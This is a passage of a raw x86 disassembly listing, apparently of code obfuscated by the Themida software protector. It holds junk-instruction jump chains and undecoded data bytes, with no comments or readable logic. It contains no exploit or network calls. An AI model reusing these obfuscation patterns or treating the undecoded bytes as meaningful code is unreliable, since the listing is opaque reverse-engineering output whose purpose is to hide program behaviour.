		jmp	loc_550A0D
; ---------------------------------------------------------------------------


loc_5568FD:				; CODE XREF: Themida_:00554CEBj
		pop	edi
		xor	[esp+4], ebp
		jmp	loc_55691A
; ---------------------------------------------------------------------------
		db 0FEh
		dd 1DC280CAh, 0C007E2C0h, 0B75306EAh, 0ED0FE972h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55691A:				; CODE XREF: Themida_:00556902j
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5551DF
; ---------------------------------------------------------------------------
		db 52h
		dd 10D807BAh, 5AD729EAh, 34FFFE01h, 60E95F24h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556937:				; CODE XREF: Themida_:005515CCj
		mov	eax, ebx
		pop	ebx
		add	[esp+4], eax
		jmp	loc_554ABE
; ---------------------------------------------------------------------------
		db 81h
		dd 4AAB43EAh, 8BD629B3h, 0C4812414h, 4,	707F2DBBh, 14EB810Fh
		dd 812C8C1Eh, 8522D4E3h, 0CE3CE975h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55696A:				; CODE XREF: Themida_:005564BEj
		mov	esi, 66B102C4h
		dec	esi
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5599F1
; ---------------------------------------------------------------------------
word_55697E	dw 8B66h		; DATA XREF: Themida_:0054F558o
		dd 8668240Ch, 89000039h, 0E954243Ch, 2A48h
dword_556990	dd 0E9028F66h, 0FFFF8E1Bh, 0E3884BB4h, 0B2526658h, 66D30810h
					; DATA XREF: Themida_:0054F55Co
		dd 8124148Bh, 2C4h, 0E9CBFE00h,	0FFFFCEABh
; ---------------------------------------------------------------------------


loc_5569B4:				; CODE XREF: Themida_:00557FF2j
		add	ebx, 7B4F7084h
		jmp	loc_552972
; ---------------------------------------------------------------------------
		db 5Fh
		dd 2C581h, 2C870000h, 0E1F65C24h, 0CCB60F66h, 4EC8156h
		dd 89000000h, 4812424h,	424h, 0A5E95E00h, 8BFFFFD6h, 0C483242Ch
		dd 3E3C104h, 9EBCEB81h,	0DE01073Bh, 0F4BD555Bh,	0E964EA35h
		dd 0FFFFF84Ch, 2804C483h, 0C9B151D8h, 3807E9h, 24143100h
		dd 0E9241433h, 0
		dd 240C895Ch, 0F7241C87h, 0CC06E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556A2A:				; CODE XREF: Themida_:00553E3Aj
		sub	ebp, 1A0C5DEDh
		add	ecx, ebp
		pop	ebp
		jmp	loc_55B705
; ---------------------------------------------------------------------------
		dd 585FF989h, 159C801h,	75DA2DF8h, 575F7B8Fh, 9865DA68h
		dd 16E2E903h, 4FBE0000h, 141970Ah, 0E6E95EF7h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556A5F:				; CODE XREF: Themida_:00555F39j
		pop	dword ptr [edi+eax*4]
		jmp	loc_54F7B3
; ---------------------------------------------------------------------------
		db 81h
		dd 0E34F01E5h, 3A7DE92Dh, 0B8500000h, 402473FDh, 0BD55h
		dd 0C5290000h, 0E95DE889h, 0FFFFC3CAh, 0F7E9D1B1h, 51FFFFAAh
		dd 0E950AEB5h, 0FFFFF625h, 0F800E82Ch, 8B66E804h, 5E68241Ch
		dd 89000079h, 0E189240Ch, 4C181h, 51E90000h
		db 27h,	2 dup(0)
byte_556AB7	db 66h			; DATA XREF: Themida_:0054F664o
		dd 81240C8Bh, 4ECh, 240C8900h, 0C181E189h, 4, 0E902C183h
		dd 0FFFFA1ADh, 2D5EF001h, 79F640E8h, 3464E9h, 24766800h
		dd 2C890000h, 2165BD24h, 17E95C2Fh, 33FFFFF7h, 0C31240Ch
		dd 8CB5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556AFE:				; CODE XREF: Themida_:0055068Cj
		or	edi, edx
		jmp	loc_55BF80
; ---------------------------------------------------------------------------


loc_556B05:				; CODE XREF: Themida_:0054F7B4j
		xor	al, bl
		push	9F9h
		mov	[esp], ecx
		push	eax
		jmp	loc_551111
; ---------------------------------------------------------------------------
		db 88h,	0F3h, 88h
		dd 0D05A5BD8h, 8E0C0E8h, 0E903E8C0h, 0FFFFF200h
dword_556B28	dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 5028h ; DATA XREF: Themida_:0054F6E4o
; ---------------------------------------------------------------------------


loc_556B38:				; CODE XREF: Themida_:0055363Cj
		imul	ecx
		push	369Ch
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_54F7B3
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 32h
		dd 8131AC5Fh, 0ED03BDE6h, 8E6C149h, 0D98EE955h,	2968FFFFh
		dd 89000077h, 8B54240Ch, 1CE9240Ch
		db 0CAh, 2 dup(0FFh)
byte_556B6F	db 0FFh			; DATA XREF: Themida_:0054F628o
		dd 0E9042474h, 0FFFF9481h, 50241489h, 8C31E99Ch, 0B268FFFFh
		dd 0E9170374h, 0FFFFDA9Fh
; ---------------------------------------------------------------------------


loc_556B8C:				; CODE XREF: Themida_:00553D13j
		mov	dword ptr [edi+20h], 0F62AD8E2h
		add	[edi+20h], ebp
		jmp	loc_551054
; ---------------------------------------------------------------------------
		db 89h
		dd 74FF242Ch, 8F5D0424h, 665C2404h, 9C240429h, 0FF8C02E9h
		dd 0CF8158FFh, 2D922E3Bh, 43D5C781h, 0F7810F3Bh, 0EF5D2CD6h
		dd 0C6E9C701h, 8BFFFFA8h, 0C483243Ch, 0E9F32904h, 0FFFFC10Ch
dword_556BD8	dd 0B65266ACh, 66F02870h, 51D8005Ah, 22B55150h,	3450E9h
					; DATA XREF: Themida_:0054F704o
		db 0
byte_556BED	db 55h,	89h, 0C5h	; DATA XREF: Themida_:0054F500o
		dd 0BF575553h, 2C966ABh, 4247C31h, 241C8B5Fh, 8104C483h
		dd 0C966ABF3h, 0E0895002h, 405h, 4E88300h, 1D41E9h
		db 0
; ---------------------------------------------------------------------------


loc_556C19:				; CODE XREF: Themida_:00553E82j
		neg	edi
		push	edi
		dec	dword ptr [esp]
		pop	edi
		sub	edi, 994D2664h
		add	esi, 69721CFDh
		add	esi, edi
		push	edx
		jmp	loc_55A87C
; ---------------------------------------------------------------------------


loc_556C34:				; CODE XREF: Themida_:0055965Cj
		pop	eax
		jmp	loc_55A926
; ---------------------------------------------------------------------------
		dw 74E9h
		dd 5DFFFF8Bh, 83BE9h, 2C68300h,	0FFD880E9h, 2CD25CFFh
		dd 5CE99C24h, 0C1FFFF8Bh, 575106E5h, 612C7DBFh,	32F78129h
		dd 0E969B273h, 0FFFFCA60h, 68B4C980h, 0
		dd 8A240C28h, 0C483240Ch, 67C18004h, 0FFCCE2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556C85:				; CODE XREF: Themida_:0054F82Fj
		pop	ecx
		add	ecx, 4
		push	eax
		mov	eax, 30E256DBh
		shl	eax, 7
		sub	eax, 712B6D7Ch
		add	ecx, eax
		pop	eax
		sub	esp, 4
		jmp	loc_55155B
; ---------------------------------------------------------------------------


loc_556CA8:				; CODE XREF: Themida_:00555DB9j
		push	esp
		pop	edi
		jmp	loc_554B11
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0DE48E957h, 0CD81FFFFh, 58B9673Bh, 0A80ED81h, 0E92979D9h
		dd 0FFFF76E9h, 90EA80FFh, 0F0B5515Bh, 0C580D5F6h, 59EA20A5h
		dd 287DF280h, 0C3285AD3h, 68DDC380h, 7372h, 88240C89h
		dd 674D68C5h, 1C890000h, 0E9525024h, 1BECh
; ---------------------------------------------------------------------------


loc_556CFC:				; CODE XREF: Themida_:00551811j
		inc	ebx
		jmp	loc_54F984
; ---------------------------------------------------------------------------
		dw 0EEC1h
		dd 187BE903h, 89500000h, 4EC83E0h, 53240C89h, 71647CBBh
		dd 93E94304h, 87FFFFD8h, 895C243Ch, 2EE9241Ch, 5DFFFFBBh
		dd 40558h, 1CE90000h, 8BFFFFFAh, 8B662424h, 24E92404h
		dd 81000030h, 0CE6AE9EFh, 0BE565935h, 0CC27870h, 441FE9h
		dd 2474FF00h, 48F5B04h,	24248B24h, 24048966h, 0FF8A4AE9h
		dd 4EC83FFh, 50243C89h,	4FD1E9h
		db 0
; ---------------------------------------------------------------------------


loc_556D75:				; CODE XREF: Themida_:00556F6Bj
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_552D25
; ---------------------------------------------------------------------------
		db 5Ah
		dd 885BD888h, 0FE8858C7h, 81241C8Bh, 4C4h, 87748800h, 0D83AE901h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556DA2:				; CODE XREF: Themida_:00552774j
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_558F94
; ---------------------------------------------------------------------------
byte_556DAD	db 64h,	8Fh, 2		; DATA XREF: Themida_:0054F4E8o
		dd 0FF89FEE9h, 405FFh, 0B9510000h, 2, 0FFD951E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556DC5:				; CODE XREF: Themida_:00553010j
		push	ebp
		mov	ebp, 0B061A7B1h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_55B894
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9562C68h, 0FFFFC6E4h
dword_556DDC	dd 81D830ACh, 4ECh, 24148900h, 4EC81h, 0C890000h, 0B063E924h
					; DATA XREF: Themida_:0054F6E8o
		dd 0D830FFFFh, 58C3285Bh, 34FFD830h, 54525B24h,	8324148Bh
		dd 0C28104C4h, 4, 4C281h, 14870000h, 18E95C24h,	68FFFF8Eh
		dd 5432h, 89241C89h, 685352E3h,	128C3F66h, 0FFC46FE9h
		dd 5BD809FFh, 514CBB53h, 0D3876D0Ah, 0D387D2F7h, 0FFD601E9h
		dd 0F1F65CFFh, 0CCB60F66h, 39746866h, 240C8966h, 0C8B60F66h
		dd 0E99C5166h, 0FFFF894Fh, 0E9C8F180h, 0FFFFAE52h, 2162E953h
		dd 0BE560000h, 1FE539F6h, 125FF681h, 0C6815DB5h, 6EA502Fh
		dd 0EE81D6F7h, 390E0B99h, 0F75EF121h, 798E9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556E96:				; CODE XREF: Themida_:0055BF07j
		pop	edx
		add	ebx, 4
		jmp	loc_5503B5
; ---------------------------------------------------------------------------
		dw 0AB9h
		dd 813D4231h, 2C4430C9h, 0E955E97Ch, 0F181FFFFh, 74A31DBEh
		dd 53CDBE56h, 0EEC139F0h, 0D35E902h, 24890000h,	41B9E924h
		dd 0F7590000h, 3390E9D5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556ED6:				; CODE XREF: Themida_:0055416Bj
		pop	ebx
		jmp	loc_551891
; ---------------------------------------------------------------------------


loc_556EDC:				; CODE XREF: Themida_:00551F52j
		push	83E9C7EDh
		pop	ebp
		add	ebp, 20DE3A22h
		add	ebp, eax
		sub	ebp, 20DE3A22h
		mov	eax, [esp]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_55B782
; ---------------------------------------------------------------------------
		db 51h
		dd 0C56DAB9h, 81414107h, 0FFFFFFE9h, 0E9D1F7FFh, 0C05h
dword_556F10	dd 0FF2434FFh, 0D9E92434h, 0FF000044h, 58042474h, 0E924048Fh
					; DATA XREF: Themida_:0054F5C0o
		dd 0FFFFE3CFh, 4BA52h, 0CDE90000h, 4B000038h, 8103E3C1h
		dd 452806C3h, 0F148E970h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556F42:				; CODE XREF: Themida_:00558027j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_553A18
; ---------------------------------------------------------------------------


loc_556F56:				; CODE XREF: Themida_:00556243j
		push	edx
		mov	edx, 4
		add	eax, edx
		jmp	loc_5529F8
; ---------------------------------------------------------------------------


loc_556F63:				; CODE XREF: Themida_:00557008j
		xor	ecx, 13D3177h
		push	ebp
		push	esp
		jmp	loc_556D75
; ---------------------------------------------------------------------------
		dd 458C2D5Fh, 0E8680312h, 8900006Ah, 0A9B9240Ch, 81009D28h
		dd 0E7652C1h, 3E1C14Bh,	0F703E9C1h, 6E9C1D1h, 0A0CCE981h
		dd 0C829AACCh, 592434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_552D50
; ---------------------------------------------------------------------------
		dw 0FF53h
		dd 8B042474h, 70E9241Ch
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_556361
; ---------------------------------------------------------------------------


loc_556FCF:				; CODE XREF: Themida_:0055B32Aj
		sub	ecx, 4
		jmp	loc_555631
; ---------------------------------------------------------------------------
		dw 5854h
		dd 0FFF3FAE9h, 7F9BB9FFh, 0E9291394h, 8BCB015Dh, 0C481240Ch
		dd 4, 2474FF53h, 48F5B04h, 4E96E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557002:				; CODE XREF: Themida_:00551DBBj
		add	esp, 4
		jmp	loc_556F63
; ---------------------------------------------------------------------------
byte_55700D	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0054F640o
		dd 1858669Dh, 0E99C2404h, 0FFFFD7B6h, 5675B850h, 67E94B51h
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557027:				; CODE XREF: Themida_:0055B86Ej
		inc	ebx
		jmp	loc_55A8D8
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 50000000h, 425E17B8h, 4D02E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55703E:				; CODE XREF: Themida_:00553F0Ej
		xor	edx, [esp]
		pop	esp
		xor	eax, 2BFB3DFEh
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		jmp	loc_5544C2
; ---------------------------------------------------------------------------
word_557056	dw 81ADh		; DATA XREF: Themida_:0054F538o
		dd 4ECh, 241C8900h, 0B57097BBh,	5BD8013Bh, 9B07972Dh, 5D82979h
		dd 799B0797h, 0E9E38953h, 0FFFF9C13h
; ---------------------------------------------------------------------------


loc_55707C:				; CODE XREF: Themida_:00558C75j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		push	ecx
		push	ebx
		push	23BD6096h
		pop	ebx
		add	ebx, 3AE6DCD3h
		mov	ecx, ebx
		pop	ebx
		jmp	loc_551943
; ---------------------------------------------------------------------------
		dw 0EEC1h
		dd 73C68106h, 1485002h,	6AE95EF5h, 5CFFFFAAh, 0E9E68956h
		dd 0FFFFAD52h, 0E9241C8Bh, 0FFFFD2E0h, 11E95652h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5570CF:				; CODE XREF: Themida_:005580E3j
		push	esi
		mov	esi, 616779E3h
		shr	esi, 2
		neg	esi
		add	esi, 3EE224CAh
		neg	esi
		not	esi
		add	esi, 3A2CC243h
		sub	ecx, esi
		pop	esi
		add	ecx, 77976B05h
		add	ecx, edi
		sub	ecx, 77976B05h
		push	ebp
		jmp	loc_553E35
; ---------------------------------------------------------------------------
		db 5Fh,	50h, 89h
		dd 7CBA52E0h, 0E9577E78h, 0FFFFB3AAh
; ---------------------------------------------------------------------------


loc_557110:				; CODE XREF: Themida_:0055643Dj
		add	esp, 4
		add	eax, 245B07A7h
		add	eax, edi
		sub	eax, 245B07A7h
		push	edx
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		db 5Dh,	0E9h, 0FCh
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55712B:				; CODE XREF: Themida_:005575AEj
		pop	esp
		jmp	loc_55A1CB
; ---------------------------------------------------------------------------
		db 5Fh,	0BBh, 0FDh
		dd 8142CD68h, 5F3281C3h, 81D3292Ah, 5F3281EBh, 0DA8CE92Ah
		dd 0E781FFFFh, 5A3328C2h, 2414F757h, 0E7C1475Fh, 81DFF704h
		dd 0AE9F69EFh, 5FFB0185h, 30E5BE56h, 0B9511533h, 2D81094h
		dd 1F2CE9h, 4C48300h, 0E924048Fh, 0FFFF96B7h
; ---------------------------------------------------------------------------


loc_557180:				; CODE XREF: Themida_:005524B5j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_54F7B3
; ---------------------------------------------------------------------------
aTH		db 'T]hÆ',0
		align 4
		dd 9C21E900h, 0F581FFFFh, 0F1E19h, 535DE901h, 4BBh, 5BD90100h
		dd 0FFF5B8E9h, 0E9C4B5FFh, 0FFFF9517h
; ---------------------------------------------------------------------------


loc_5571B8:				; CODE XREF: Themida_:0055A466j
		sub	esp, 4
		jmp	loc_55315E
; ---------------------------------------------------------------------------


loc_5571C0:				; CODE XREF: Themida_:00557A66j
		sub	ebx, 30DA5DE3h
		add	ebx, 7CB24A41h
		shl	ebx, 1
		jmp	loc_553D34
; ---------------------------------------------------------------------------


loc_5571D3:				; CODE XREF: Themida_:00552909j
		pop	edx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_55A9C7
; ---------------------------------------------------------------------------


loc_5571E0:				; CODE XREF: Themida_:0055879Ej
		shl	edx, 1
		jmp	loc_555DA8
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 0E9000000h, 0FFFFCF7Ch
dword_5571F4	dd 7C1368h, 240C8900h, 8904EC83h, 0F4882404h, 48BE588h
					; DATA XREF: Themida_:0054F5ACo
		dd 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h, 424748Ah
		dd 4246C88h, 57240C8Bh,	0C781E789h, 4, 8704C783h, 248B243Ch
		dd 1150E924h, 0C4810000h, 4, 2ADEE9h, 4C78100h,	87000000h
		dd 835C243Ch, 1C3302EBh, 9DB9E924h, 8B5BFFFFh, 0C4832434h
		dd 87D6F704h, 266857F3h, 5F422200h, 815FFB31h, 0BDFFDDF3h
		dd 5BDF016Fh, 2BB53h, 0DF010000h, 2CEAE95Bh, 1C330000h
		dd 24248B24h, 0FF2434FFh, 9CE92434h
		db 0Ch,	2 dup(0)
byte_55729B	db 66h			; DATA XREF: Themida_:0054F730o
		dd 68240C8Bh, 4414h, 54243489h,	4B9515Eh, 81000000h, 35747CC6h
		dd 81CE0171h, 35747CEEh, 0C6815971h, 2,	0C04E956h, 34FF0000h
		dd 0E3D4E924h, 0CD01FFFFh, 1C69E9h
		db 0
byte_5572D9	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054F53Co
aHgu		db '$h£U',0
		align 2
		dw 3C89h
		dd 56E78924h, 8E95357h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5572EF:				; CODE XREF: Themida_:00559D7Ej
		push	7E0Eh
		mov	[esp], ecx
		mov	ecx, 80D1FF0h
		shr	ecx, 1
		shl	ecx, 8
		add	ecx, 1
		or	ecx, 0E401BC5h
		push	ebx
		push	0ECFFBC1h
		pop	ebx
		sub	ecx, ebx
		jmp	loc_550CCF
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0E954240Ch, 0FFFFC933h, 405h, 4C08300h, 5C240487h
		dd 0FFC5BAE9h, 2C783FFh, 8B243C87h, 0D3662424h,	0E99C2404h
		dd 0FFFFF8F2h, 8324148Bh, 0F50104C4h, 2C5835Eh,	31242C33h
		dd 2C33242Ch, 0BAE95C24h, 5BFFFFC1h, 22Dh, 33E95000h
		db 0F3h, 2 dup(0FFh)
byte_55736F	db 0ADh			; DATA XREF: Themida_:0054F5D8o
		dd 4EC8153h, 89000000h,	68512434h, 7C557C33h, 5E9C159h
		dd 6F5E181h, 0F181361Dh, 4BF8427Ah, 0D043C181h,	8950E9EBh
		dd 58C689C8h, 5EF38959h, 56FFEB83h, 0FFCE31E9h,	81D629FFh
		dd 0BB58BCC6h, 0AFABE931h, 0C005FFFFh, 5002473Fh, 0AD243481h
		dd 0E937823Eh, 0FFFF9ACFh, 5204C483h, 0C5DF8ABAh, 0FFD129C7h
		dd 835A2434h, 0CB0104C4h, 83240C8Bh, 34E904C4h,	89FFFFC3h
		dd 1B5240Ch, 6659EB28h,	3685152h, 8900007Fh, 9EB7241Ch
		dd 88AEEF80h, 70E95BF9h, 0B6FFFFA0h, 28AFE9AEh,	0FB210000h
		dd 4BDBF75Fh, 60BE564Bh, 294C2C78h, 0C3815EF3h,	0B94ED7E7h
		dd 7C93B850h, 0BE565FEDh, 37B97674h, 81EED146h,	960176F6h
		dd 30EE8120h, 0E95619DEh, 0FFFFBD13h, 12466853h, 14890000h
		dd 502DBA24h, 3AE907AAh, 81000009h, 46176CCEh, 1152E908h
		dd 54520000h, 0B17CE95Ah, 433FFFFh, 24043124h, 0E9240433h
		dd 0FFFFE7EEh, 0E92414F7h, 37A4h, 5702E1C1h, 527A68BFh
		dd 0DFF74F61h, 0D7F7D7F7h, 0FFAB00E9h, 4EC81FFh, 89000000h
		dd 1FE92434h, 68FFFFD4h, 637h, 51243489h, 0FFD701E9h, 56E95BFFh
		dd 1000031h, 20C281FAh,	0E9222011h, 0FFFF9A24h
dword_5574C4	dd 9D1C77FFh, 19665866h, 0E99C2404h, 0FFFF82DFh, 24348B58h
					; DATA XREF: Themida_:0054F66Co
		dd 0E904C483h, 0FFFF8688h, 8324148Bh, 0C8E904C4h, 68FFFF82h
		dd 30B2h, 0E9243489h, 2B9Dh
; ---------------------------------------------------------------------------


loc_5574F8:				; CODE XREF: Themida_:00552400j
		mov	[esp], eax
		not	dword ptr [esp]
		jmp	loc_552A26
; ---------------------------------------------------------------------------
		dd offset dword_49005C+0A80Ch
		align 4
		dd 68240C89h, 4E8Ah, 89240489h,	0FF5950D8h, 83582434h
		dd 25E904C4h, 89FFFFC5h, 34BE56E0h, 8149804Ah, 0C5471EEEh
		dd 0D3CE8158h, 81078C5Ch, 0DD462CF6h, 1B86E930h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557542:				; CODE XREF: Themida_:00550413j
		add	ecx, 55AE74DEh
		add	ebp, ecx
		jmp	loc_554E7B
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF825Fh, 5AF128h,	835159C8h, 148904ECh, 0DC9E924h
		dd 0B9510000h, 0B0B78FEh, 8F1E181h, 0C9813D1Ah,	5881186Fh
		dd 4FC98149h, 0E955ED53h, 3B26h, 4C481h, 29E90000h, 89000031h
		dd 0E389241Ch, 4C381h, 0BE560000h, 733972B0h, 4768CE81h
		dd 7AE94DB1h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5575AB:				; CODE XREF: Themida_:0055989Cj
		pop	dword ptr [esp]
		jmp	loc_55712B
; ---------------------------------------------------------------------------


loc_5575B3:				; CODE XREF: Themida_:00552D29j
		mov	[esp], esi
		push	ebp
		push	780D4C14h
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, 780D4C10h
		jmp	loc_5575D6
; ---------------------------------------------------------------------------
aSsh		db 'Séh(',0
		align 2


loc_5575D6:				; CODE XREF: Themida_:005575CBj
		push	1FD8h
		mov	[esp], ebp
		jmp	loc_557CC5
; ---------------------------------------------------------------------------
		db 68h
		dd 789Ah, 0BB241C89h, 0A683D9Bh, 3D97EB81h, 0ED810A68h
		dd 100E7F71h, 0C581DD01h, 100E7F71h, 5B2434FFh,	0FF9761E9h
		dd 48B5CFFh, 6C596824h,	0E7E90000h
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55761B:				; CODE XREF: Themida_:005527C4j
		add	esp, 4
		add	edx, 4
		push	1DFh
		jmp	loc_5511CB
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 0D8C6618Fh, 8959CD01h, 4BE95DE8h, 8BFFFFD3h,	0C483240Ch
		dd 4C48304h, 1826E9h
		db 0
; ---------------------------------------------------------------------------


loc_55764D:				; CODE XREF: Themida_:00550EACj
		mov	ecx, 68704AF5h
		sub	ecx, 31FD610Ah
		sub	ecx, edi
		push	edx
		mov	edx, 1980252h
		or	edx, 61B22787h
		xor	edx, 29FD3734h
		add	edx, 7A1804F6h
		not	edx
		dec	edx
		sub	edx, 0BA3891Bh
		add	ecx, edx
		pop	edx
		jmp	loc_55C02D
; ---------------------------------------------------------------------------


loc_557683:				; CODE XREF: Themida_:00551CFCj
		push	dword ptr [esp]
		jmp	loc_550A35
; ---------------------------------------------------------------------------
		db 83h
		dd 1C3304C3h, 241C3124h, 0FFFBF1E9h, 48F54FFh, 9407E924h
		dd 835FFFFFh, 0E7E904C4h, 0B4FFFFEAh, 58E788F8h, 0F8005804h
		dd 0FFB70FE9h, 0E9F029FFh, 0FFFFDBD1h, 6859CB28h, 7AC9h
		dd 54240C89h, 4C18159h,	81000000h, 4ECh, 243C8900h, 500372BFh
		dd 9CF813Dh, 812E6F7Dh,	7F7F7FF7h, 5FF9293Fh, 5C240C87h
		dd 88241C89h, 191FE9C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5576FE:				; CODE XREF: Themida_:0054F8FAj
		mov	esp, [esp]
		push	eax
		mov	eax, 65224494h
		not	eax
		xor	eax, 9EB0AECh
		jmp	loc_550418
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FF9ADBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557719:				; CODE XREF: Themida_:00553D81j
		jmp	loc_54F7B3
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 575D5424h, 7111A1BFh, 7E7C106h, 38B2BD55h, 0E5C127EDh
		dd 459EE904h
		db 2 dup(0)
word_55773A	dw 48Bh			; DATA XREF: Themida_:0054F708o
		dd 0D9E95524h, 50FFFF90h, 0F788FC88h, 99E9E688h, 5BFFFFA6h
		dd 8B24048Fh, 58E92424h
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55775B:				; CODE XREF: Themida_:00555067j
		mov	[esp], edi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_557C42
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 9C240CFFh, 0FF8032E9h, 24248BFFh,	0FFB25EE9h
		dd 4C481FFh, 0E9000000h, 19ADh,	241C875Eh, 4A30F5Ch, 10E99C24h
		dd 1FFFF80h, 0C2815EF2h, 4, 0FFEE93E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5577B1:				; CODE XREF: Themida_:005501CFj
		push	edi
		mov	edi, 4
		jmp	loc_554F31
; ---------------------------------------------------------------------------
		dd 4C381h, 0C3830000h, 93F9E904h, 0C828FFFFh, 240C8B66h
		dd 6602C483h, 6626AC68h, 68241C89h, 71E5h, 0FF845EE9h
		dd 5DEF29FFh, 445AC581h, 0FD010344h, 445AED81h,	815F0344h
		dd 4C5h, 0D163E900h, 35BAFFFFh,	2944087Dh, 0E5E95AD0h
		dd 89FFFFA7h, 0EB295FFDh, 0FF80A1E9h, 755468FFh, 24890000h
		dd 24048324h, 240C8B04h, 0FF9E6DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55782D:				; CODE XREF: Themida_:005544BDj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	edx
		sub	esp, 4
		jmp	loc_553300
; ---------------------------------------------------------------------------
		db 0BBh
		dd 44AF1E72h, 6843D3F7h, 7943h,	0F7241C89h, 0C15B241Ch
		dd 0BD5506E3h, 497B7014h, 0FFAAB5E9h, 81D301FFh, 3C49C2EBh
		dd 0D3F75A20h, 0C105E3C1h, 0CB8105E3h, 6FE80D3Fh, 0D3BBA52h
		dd 0D331FFFAh, 32D0E95Ah, 89520000h, 4C281E2h, 83000000h
		dd 148704C2h, 61685C24h, 89000031h, 0A9BF243Ch,	312BC15Ch
		dd 38055FF9h, 16CC004h,	4382DC8h, 0E9596CC0h, 2A08h
; ---------------------------------------------------------------------------


loc_5578C4:				; CODE XREF: Themida_:00558532j
		mov	[esp], ecx
		jmp	loc_554B53
; ---------------------------------------------------------------------------
aIthqx		db '‰âhQx',0
		dw 8900h
		dd 0EC81241Ch, 4, 68240489h, 25C63005h,	0C1D0F758h, 9B3507E8h
		dd 0E901B473h, 26DCh, 504C483h,	2ABF771Eh, 5B2434FFh, 81E28952h
		dd 4C2h, 4C28100h, 87000000h, 685C2414h, 5779h,	0FF9435E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55791D:				; CODE XREF: Themida_:0054F9EAj
		xchg	ebp, [esp]
		pop	esp
		push	2DFAh
		mov	[esp], ebp
		jmp	loc_55B97E
; ---------------------------------------------------------------------------
		dw 0C201h
		dd 47E90A88h, 1FFFF87h,	0EE095BDDh, 0FFAF04E9h,	0B85059FFh
		dd 10533354h, 4D58C529h, 5204E5C1h, 0A979B2BAh,	0C1DAF762h
		dd 0C28102EAh, 0D4C85BDBh, 29E9D529h, 42FFFFDBh, 0EA81D2F7h
		dd 0B81384A1h, 335AD329h, 1C31241Ch, 241C3324h,	0E143E95Ch
		dd 2BBFFFFh, 81000000h,	8F732CC6h, 95C68115h, 160FD54h
		dd 95EE81DEh, 8160FD54h, 8F732CEEh, 2434FF15h, 4C4815Bh
		dd 33000000h, 34312434h, 24343324h, 0A30F665Ch,	0E99C2404h
		dd 0FFFF85D4h
; ---------------------------------------------------------------------------


loc_5579C0:				; CODE XREF: Themida_:00558719j
		and	esi, 6D586C2Ah
		shr	esi, 1
		push	ebp
		mov	ebp, 4D942CC4h
		add	ebp, 65900F2Dh
		dec	ebp
		xor	ebp, 7A8B18A8h
		jmp	loc_55C0AF
; ---------------------------------------------------------------------------


loc_5579E0:				; CODE XREF: Themida_:0054FAF7j
		push	0A746D778h
		pop	esi
		jmp	loc_55BDA3
; ---------------------------------------------------------------------------
		db 0BDh
